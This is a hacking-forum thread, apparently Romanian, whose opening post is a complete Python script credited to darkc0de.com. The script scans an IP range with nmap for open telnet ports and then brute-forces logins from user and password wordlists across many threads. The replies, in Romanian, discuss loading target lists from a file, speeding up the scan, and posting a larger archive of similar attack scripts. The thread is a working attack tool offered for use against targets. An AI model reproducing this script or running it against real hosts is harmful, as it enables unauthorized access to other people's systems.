Jump to content
Eric

telnet bruteforce

Recommended Posts

Posted
#!usr/bin/python
#Telnet Brute Forcer, searches ip_range for hosts using telnet.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, telnetlib, re
from copy import copy

if len(sys.argv) !=4:
print "Usage: ./telnetbrute.py <ip_range> <userlist> <wordlist>"
sys.exit(1)

try:
users = open(sys.argv[2], "r").readlines()
except(IOError):
print "Error: Check your userlist path\n"
sys.exit(1)

try:
words = open(sys.argv[3], "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)

print "\n\t d3hydr8[at]gmail[dot]com telnetBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

iprange = sys.argv[1]
ip_list = []

nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 23 | grep open -B 3')[1]).readlines()

for tmp in nmap:
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
if ipaddr:
ip_list.append(ipaddr[0])
return ip_list

def reloader():
for word in wordlist:
words.append(word)

def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])

else:
reloader()
value = random.sample(words, 1)

lock.release()
return value[0][:-1]

class Workhorse(threading.Thread):

def run(self):
value = getword()
try:
print "-"*12
print "User:",user[:-1],"Password:",value
tn = telnetlib.Telnet(ip)
tn.read_until("login: ")
tn.write(user[:-1] + "\n")
if password:
tn.read_until("Password: ")
tn.write(value + "\n")
tn.write("ls\n")
tn.write("exit\n")
print tn.read_all()
print "\t\nLogin successful:",value, user[:-1]
tn.close()
work.join()
sys.exit(2)
except:
pass

ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
print "\n\tAttempting BruteForce:",ip,"\n"
for user in users:
for i in range(len(words)):
if i == 0: reloader()
work = Workhorse()
work.start()
time.sleep(1)

Posted

asta ar fi interesant, ne poate ajuta cineva care stie python sa scoata ip range si sa isi ia ip-urile dintr-un txt file ? multumesc

nmap e destul de incent ca si rapiditate, poate putem itegra ss-ul sau pscan-ul in el.

Posted
Ar merge scos doar bruterul din script si in rest in bash scris frumos: for each $line in tinte.txt do python brute.py $line userlist wordlist :D.

da, eventual gandit un sistem de multi thread.... poate ne ajuta careva

Posted

Astea sunt vechi. Am vazut recent postate vreo 5-6 scripturi de mult postate pe fostul darkc0de.com. Daca inca mai sunt interesati o sa postez intreaga arhiva darkc0de.com putin mai tarziu

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...